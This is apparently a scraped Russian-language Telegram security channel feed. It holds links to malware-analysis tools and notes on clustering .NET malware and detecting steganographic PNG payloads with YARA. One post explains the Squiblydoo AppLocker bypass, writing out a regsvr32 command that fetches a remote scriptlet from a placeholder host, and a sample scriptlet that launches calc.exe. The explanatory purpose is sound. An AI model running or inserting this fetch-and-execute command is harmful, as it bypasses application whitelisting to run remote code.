Forwarded from vx-underground
Список инструментов для malware analysis macos малвари
https://docs.google.com/document/d/1xOWmMueHHRke9aj3oRqNBgK69Y19hgZ7ehM4H9_Me-Y/mobilebasic
https://docs.google.com/document/d/1xOWmMueHHRke9aj3oRqNBgK69Y19hgZ7ehM4H9_Me-Y/mobilebasic
Squiblydoo
AppLocker - фича винды (начиная с 7) позволяющая создать белый список запускаемых приложений. Приложения которые не входят в белый список, запустить нельзя. В 2016 году появился способ обхода данного ограничения, с помощью regsvr32.exe. regsvr32.exe - это легитимный виндовый бинарник регистрирующий DLL файлы в реестре. Он также является так называемым LOLBin (список лолбинов и их использование во вредоносных целях можно найти тут). regsvr32.exe позволяет также скачивать и запускать скрипты (sct) с удаленного сервера.
AppLocker - фича винды (начиная с 7) позволяющая создать белый список запускаемых приложений. Приложения которые не входят в белый список, запустить нельзя. В 2016 году появился способ обхода данного ограничения, с помощью regsvr32.exe. regsvr32.exe - это легитимный виндовый бинарник регистрирующий DLL файлы в реестре. Он также является так называемым LOLBin (список лолбинов и их использование во вредоносных целях можно найти тут). regsvr32.exe позволяет также скачивать и запускать скрипты (sct) с удаленного сервера.
regsvr32.exe /s /i:http://example.com/test.sct scrobj.dllДанная техника называется Squiblydoo. Несмотря на то, что техника стара, она все еще используется. На скрине пример вредоносного VBA макроса с довольно свежего сэмпла.
Order of Six Angles
Squiblydoo AppLocker - фича винды (начиная с 7) позволяющая создать белый список запускаемых приложений. Приложения которые не входят в белый список, запустить нельзя. В 2016 году появился способ обхода данного ограничения, с помощью regsvr32.exe. regsvr32.exe…
Пример sct скрипта
<?XML version="1.0"?>
<scriptlet>
<registration
progid="TESTING"
classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
<script language="JScript">
<![CDATA[
var foo = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</scriptlet>
Forwarded from Inside
Выпуск 3.2021
Защита IoT-устройств от распределенных атак типа «отказ в обслуживании».
Пожертвования каналу -> 1PsEMi5BrRRTydzStHQ41gir2iugSEPcuU
Защита IoT-устройств от распределенных атак типа «отказ в обслуживании».
Пожертвования каналу -> 1PsEMi5BrRRTydzStHQ41gir2iugSEPcuU
Binary Ninja Basics ep. 1
https://www.youtube.com/watch?v=xKBQatwshs0
Binary Ninja Basics ep. 2
https://www.youtube.com/watch?v=33bPOzpp0R4
https://www.youtube.com/watch?v=xKBQatwshs0
Binary Ninja Basics ep. 2
https://www.youtube.com/watch?v=33bPOzpp0R4
YouTube
Opening Files: Binary Ninja Basics ep. 1
This is the first video in our Binary Ninja Basics series that can get you up to speed quickly on using Binary Ninja. The first topic is also the first thing you'd do during reverse engineering -- opening files! There's actually more than meets the eye, so…
Testing Extensions in Chromium Browsers - Nordpass
https://parsiya.net/blog/2021-04-30-testing-extensions-in-chromium-browsers-nordpass/
https://parsiya.net/blog/2021-04-30-testing-extensions-in-chromium-browsers-nordpass/
parsiya.net
Testing Extensions in Chromium Browsers - Nordpass
Recently, I looked at the NordPass Password Manager browser extension.
I could not find any guides on manual testing of browser extensions. I decided
to write my own. So, here we are, "pushing the boundaries of science."
I could not find any guides on manual testing of browser extensions. I decided
to write my own. So, here we are, "pushing the boundaries of science."
VMProtect 2 - Detailed Analysis of the Virtual Machine Architecture
https://back.engineering/17/05/2021/#preamble
https://back.engineering/17/05/2021/#preamble
Тулза для сравнения двух pcap файлов
https://github.com/netspooky/pdiff
Она же в браузере
https://remyhax.xyz/tools/pdiffwasm/
Видео с описанием pdiff:
https://youtu.be/FKbVNXnR10A
by netspooky
https://github.com/netspooky/pdiff
Она же в браузере
https://remyhax.xyz/tools/pdiffwasm/
Видео с описанием pdiff:
https://youtu.be/FKbVNXnR10A
by netspooky
Project GUID
Иногда, чтобы выявить сходства между образцами малвари используют imphash/ssdeep/... Они не подходят для .NET малвари и поэтому для поиска схожих образцов, как один из вариантов, используется TypeRefHash. (подробнее в моей позапрошлой статье) . На гитхабе я нашел скрипт neossins. Автор скрипта написал статью про то, как это работает и зачем.
neossins строит граф связей основываясь на TypeRefHash. Помимо TypeRefHash, .NET малварь содержит информацию о Project GUID - это GUID проекта, в котором собиралась программа. Соответственно, если у каких-то образцов он совпадает, то они были собраны в одном проекте и скорее всего у них одних автор. Я форкнул neossins и добавил поддержку поиска связей по project guid. Я взял 60 рандомных образцов NanoCore и среди них мне даже удалось обнаружить связь по guid (к сожалению не для всех удалось вычислить сам guid). Форк еще не закончен и в процессе разработки, так что как-то так =/
Иногда, чтобы выявить сходства между образцами малвари используют imphash/ssdeep/... Они не подходят для .NET малвари и поэтому для поиска схожих образцов, как один из вариантов, используется TypeRefHash. (подробнее в моей позапрошлой статье) . На гитхабе я нашел скрипт neossins. Автор скрипта написал статью про то, как это работает и зачем.
neossins строит граф связей основываясь на TypeRefHash. Помимо TypeRefHash, .NET малварь содержит информацию о Project GUID - это GUID проекта, в котором собиралась программа. Соответственно, если у каких-то образцов он совпадает, то они были собраны в одном проекте и скорее всего у них одних автор. Я форкнул neossins и добавил поддержку поиска связей по project guid. Я взял 60 рандомных образцов NanoCore и среди них мне даже удалось обнаружить связь по guid (к сожалению не для всех удалось вычислить сам guid). Форк еще не закончен и в процессе разработки, так что как-то так =/
Как вы знаете, такие стилеры как agenttesla, nanocore и другая подобная .net малварь часто содержит вредоносный payload в виде PNG картинки, используя при этом стеганографию. Проанализировав структуру таких картинок, я выявил что все они имеют одинаковые значения gAMA, pHYs, IDAT. Подробнее о том, что это такое можно прочитать тут и тут. Если кратко,то pHSy - это размер пикселя, gAMA - интенсивность, а IDAT это чанк с данными непосредственно изображения.
Я объединил все это в YARA правило и смог обнаружить много .net малвари. Вручную проанализировав несколько образцов из кучи я обнаружил, что они и вправду вредоносные. Хз, возможно это такой false positive. Можете проверить сами, я выложил список найденных хэшей и само yara правило =|
https://github.com/thatskriptkid/yara/tree/master/stego%20png
ps много fp, вероятно не подходит
Я объединил все это в YARA правило и смог обнаружить много .net малвари. Вручную проанализировав несколько образцов из кучи я обнаружил, что они и вправду вредоносные. Хз, возможно это такой false positive. Можете проверить сами, я выложил список найденных хэшей и само yara правило =|
https://github.com/thatskriptkid/yara/tree/master/stego%20png
ps много fp, вероятно не подходит